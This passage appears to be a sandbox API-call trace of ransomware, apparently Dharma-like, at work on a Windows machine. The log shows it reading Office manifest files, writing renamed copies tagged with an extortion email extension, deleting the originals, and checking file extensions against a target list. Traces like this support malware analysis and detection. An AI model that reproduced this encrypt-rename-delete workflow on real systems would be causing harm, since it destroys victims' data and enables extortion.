(lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0000-1000-0000000ff1ce.xml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0147.781] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10dc [0147.781] SetFilePointerEx (in: hFile=0x10dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0147.781] SetFilePointerEx (in: hFile=0x10dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0147.781] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0000-1000-0000000ff1ce.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x103c [0147.782] GetLastError () returned 0x0 [0147.782] ReadFile (in: hFile=0x10dc, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x30cfecc*=0x573e5, lpOverlapped=0x0) returned 1 [0147.847] WriteFile (in: hFile=0x103c, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0x573f0, lpNumberOfBytesWritten=0x30cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x30cfc94*=0x573f0, lpOverlapped=0x0) returned 1 [0147.854] ReadFile (in: hFile=0x10dc, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x30cfecc*=0x0, lpOverlapped=0x0) returned 1 [0147.854] WriteFile (in: hFile=0x103c, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x30cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x30cfc94*=0x13e, lpOverlapped=0x0) returned 1 [0147.854] SetEndOfFile (hFile=0x103c) returned 1 [0147.854] CloseHandle (hObject=0x103c) returned 1 [0147.862] SetFilePointerEx (in: hFile=0x10dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0147.862] SetEndOfFile (hFile=0x10dc) returned 1 [0147.866] CloseHandle (hObject=0x10dc) returned 1 [0147.866] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0147.866] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0000-1000-0000000ff1ce.xml")) returned 1 [0147.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml") returned 104 [0147.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml") returned 104 [0147.867] lstrlenW (lpString=".doc") returned 4 [0147.867] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0147.867] lstrlenW (lpString=".docx") returned 5 [0147.867] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0147.867] lstrlenW (lpString=".pdf") returned 4 [0147.867] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0147.867] lstrlenW (lpString=".xls") returned 4 [0147.867] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0147.867] lstrlenW (lpString=".xlsx") returned 5 [0147.867] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0147.867] lstrlenW (lpString=".ppt") returned 4 [0147.867] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0147.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml") returned 104 [0147.867] lstrlenW (lpString=".zip") returned 4 [0147.867] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0147.867] lstrlenW (lpString=".rar") returned 4 [0147.867] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0147.867] lstrlenW (lpString=".bz2") returned 4 [0147.867] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0147.867] lstrlenW (lpString=".7z") returned 3 [0147.868] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0147.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml") returned 104 [0147.868] lstrlenW (lpString=".dbf") returned 4 [0147.868] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0147.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml") returned 104 [0147.868] lstrlenW (lpString=".1cd") returned 4 [0147.868] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0147.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml") returned 104 [0147.868] lstrlenW (lpString=".jpg") returned 4 [0147.868] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0147.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml") returned 104 [0147.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml") returned 104 [0147.868] lstrlenW (lpString=".doc") returned 4 [0147.868] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0147.868] lstrlenW (lpString=".docx") returned 5 [0147.868] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0147.868] lstrlenW (lpString=".pdf") returned 4 [0147.868] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0147.868] lstrlenW (lpString=".xls") returned 4 [0147.868] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0147.868] lstrlenW (lpString=".xlsx") returned 5 [0147.868] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0147.868] lstrlenW (lpString=".ppt") returned 4 [0147.868] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0147.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml") returned 104 [0147.868] lstrlenW (lpString=".zip") returned 4 [0147.868] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0147.868] lstrlenW (lpString=".rar") returned 4 [0147.869] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0147.869] lstrlenW (lpString=".bz2") returned 4 [0147.869] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0147.869] lstrlenW (lpString=".7z") returned 3 [0147.869] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0147.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml") returned 104 [0147.869] lstrlenW (lpString=".dbf") returned 4 [0147.869] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0147.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml") returned 104 [0147.869] lstrlenW (lpString=".1cd") returned 4 [0147.869] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0147.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml") returned 104 [0147.869] lstrlenW (lpString=".jpg") returned 4 [0147.869] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0147.869] lstrcmpiW (lpString1=".xml", lpString2=".com") returned 1 [0147.869] lstrlenW (lpString="AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml") returned 53 [0147.869] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10dc [0147.869] GetFileSizeEx (in: hFile=0x10dc, lpFileSize=0x30cff14 | out: lpFileSize=0x30cff14*=1261) returned 1 [0147.870] CloseHandle (hObject=0x10dc) returned 1 [0147.870] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0409-1000-0000000ff1ce.xml")) returned 0x220 [0147.870] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0409-1000-0000000ff1ce.xml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0147.870] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10dc [0147.870] SetFilePointerEx (in: hFile=0x10dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0147.870] SetFilePointerEx (in: hFile=0x10dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0147.870] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0409-1000-0000000ff1ce.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x103c [0147.870] GetLastError () returned 0x0 [0147.870] ReadFile (in: hFile=0x10dc, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x30cfecc*=0x4ed, lpOverlapped=0x0) returned 1 [0147.966] WriteFile (in: hFile=0x103c, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x30cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x30cfc94*=0x4f0, lpOverlapped=0x0) returned 1 [0147.967] ReadFile (in: hFile=0x10dc, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x30cfecc*=0x0, lpOverlapped=0x0) returned 1 [0147.967] WriteFile (in: hFile=0x103c, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x30cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x30cfc94*=0x13e, lpOverlapped=0x0) returned 1 [0147.967] SetEndOfFile (hFile=0x103c) returned 1 [0147.967] CloseHandle (hObject=0x103c) returned 1 [0147.968] SetFilePointerEx (in: hFile=0x10dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0147.968] SetEndOfFile (hFile=0x10dc) returned 1 [0147.968] CloseHandle (hObject=0x10dc) returned 1 [0147.969] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0147.969] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0409-1000-0000000ff1ce.xml")) returned 1 [0147.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml") returned 104 [0147.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml") returned 104 [0147.969] lstrlenW (lpString=".doc") returned 4 [0147.969] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0147.969] lstrlenW (lpString=".docx") returned 5 [0147.969] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0147.969] lstrlenW (lpString=".pdf") returned 4 [0147.969] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0147.969] lstrlenW (lpString=".xls") returned 4 [0147.969] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0147.969] lstrlenW (lpString=".xlsx") returned 5 [0147.969] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0147.969] lstrlenW (lpString=".ppt") returned 4 [0147.969] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0147.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml") returned 104 [0147.969] lstrlenW (lpString=".zip") returned 4 [0147.970] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0147.970] lstrlenW (lpString=".rar") returned 4 [0147.970] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0147.970] lstrlenW (lpString=".bz2") returned 4 [0147.970] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0147.970] lstrlenW (lpString=".7z") returned 3 [0147.970] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0147.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml") returned 104 [0147.970] lstrlenW (lpString=".dbf") returned 4 [0147.970] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0147.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml") returned 104 [0147.970] lstrlenW (lpString=".1cd") returned 4 [0147.970] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0147.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml") returned 104 [0147.970] lstrlenW (lpString=".jpg") returned 4 [0147.970] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0147.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml") returned 104 [0147.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml") returned 104 [0147.970] lstrlenW (lpString=".doc") returned 4 [0147.970] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0147.970] lstrlenW (lpString=".docx") returned 5 [0147.970] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0147.970] lstrlenW (lpString=".pdf") returned 4 [0147.970] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0147.970] lstrlenW (lpString=".xls") returned 4 [0147.970] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0147.970] lstrlenW (lpString=".xlsx") returned 5 [0147.970] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0147.970] lstrlenW (lpString=".ppt") returned 4 [0147.970] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0147.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml") returned 104 [0147.970] lstrlenW (lpString=".zip") returned 4 [0147.970] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0147.970] lstrlenW (lpString=".rar") returned 4 [0147.970] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0147.970] lstrlenW (lpString=".bz2") returned 4 [0147.971] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0147.971] lstrlenW (lpString=".7z") returned 3 [0147.971] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0147.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml") returned 104 [0147.971] lstrlenW (lpString=".dbf") returned 4 [0147.971] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0147.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml") returned 104 [0147.971] lstrlenW (lpString=".1cd") returned 4 [0147.971] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0147.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml") returned 104 [0147.971] lstrlenW (lpString=".jpg") returned 4 [0147.971] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0147.971] lstrcmpiW (lpString1=".xml", lpString2=".com") returned 1 [0147.971] lstrlenW (lpString="AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 53 [0147.971] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10dc [0147.971] GetFileSizeEx (in: hFile=0x10dc, lpFileSize=0x30cff14 | out: lpFileSize=0x30cff14*=399528) returned 1 [0147.971] CloseHandle (hObject=0x10dc) returned 1 [0147.971] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0000-1000-0000000ff1ce.xml")) returned 0x220 [0147.971] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0000-1000-0000000ff1ce.xml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0147.972] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10dc [0147.972] SetFilePointerEx (in: hFile=0x10dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0147.972] SetFilePointerEx (in: hFile=0x10dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0147.972] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0000-1000-0000000ff1ce.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x103c [0147.972] GetLastError () returned 0x0 [0147.972] ReadFile (in: hFile=0x10dc, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x30cfecc*=0x618a8, lpOverlapped=0x0) returned 1 [0148.128] WriteFile (in: hFile=0x103c, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0x618b0, lpNumberOfBytesWritten=0x30cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x30cfc94*=0x618b0, lpOverlapped=0x0) returned 1 [0148.135] ReadFile (in: hFile=0x10dc, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x30cfecc*=0x0, lpOverlapped=0x0) returned 1 [0148.135] WriteFile (in: hFile=0x103c, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x30cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x30cfc94*=0x13e, lpOverlapped=0x0) returned 1 [0148.135] SetEndOfFile (hFile=0x103c) returned 1 [0148.135] CloseHandle (hObject=0x103c) returned 1 [0148.142] SetFilePointerEx (in: hFile=0x10dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0148.142] SetEndOfFile (hFile=0x10dc) returned 1 [0148.146] CloseHandle (hObject=0x10dc) returned 1 [0148.146] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0148.147] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0000-1000-0000000ff1ce.xml")) returned 1 [0148.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 104 [0148.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 104 [0148.147] lstrlenW (lpString=".doc") returned 4 [0148.147] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0148.147] lstrlenW (lpString=".docx") returned 5 [0148.147] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0148.147] lstrlenW (lpString=".pdf") returned 4 [0148.147] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0148.147] lstrlenW (lpString=".xls") returned 4 [0148.147] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0148.148] lstrlenW (lpString=".xlsx") returned 5 [0148.148] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0148.148] lstrlenW (lpString=".ppt") returned 4 [0148.148] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0148.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 104 [0148.148] lstrlenW (lpString=".zip") returned 4 [0148.148] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0148.148] lstrlenW (lpString=".rar") returned 4 [0148.148] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0148.148] lstrlenW (lpString=".bz2") returned 4 [0148.148] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0148.148] lstrlenW (lpString=".7z") returned 3 [0148.148] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0148.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 104 [0148.148] lstrlenW (lpString=".dbf") returned 4 [0148.148] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0148.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 104 [0148.148] lstrlenW (lpString=".1cd") returned 4 [0148.148] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0148.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 104 [0148.148] lstrlenW (lpString=".jpg") returned 4 [0148.148] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0148.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 104 [0148.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 104 [0148.148] lstrlenW (lpString=".doc") returned 4 [0148.148] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0148.148] lstrlenW (lpString=".docx") returned 5 [0148.148] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0148.149] lstrlenW (lpString=".pdf") returned 4 [0148.149] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0148.149] lstrlenW (lpString=".xls") returned 4 [0148.149] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0148.149] lstrlenW (lpString=".xlsx") returned 5 [0148.149] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0148.149] lstrlenW (lpString=".ppt") returned 4 [0148.149] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0148.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 104 [0148.149] lstrlenW (lpString=".zip") returned 4 [0148.149] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0148.149] lstrlenW (lpString=".rar") returned 4 [0148.149] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0148.149] lstrlenW (lpString=".bz2") returned 4 [0148.149] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0148.149] lstrlenW (lpString=".7z") returned 3 [0148.149] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0148.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 104 [0148.149] lstrlenW (lpString=".dbf") returned 4 [0148.149] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0148.149] lstrlenW (lpString="C:\\Program Files\\Microsoft 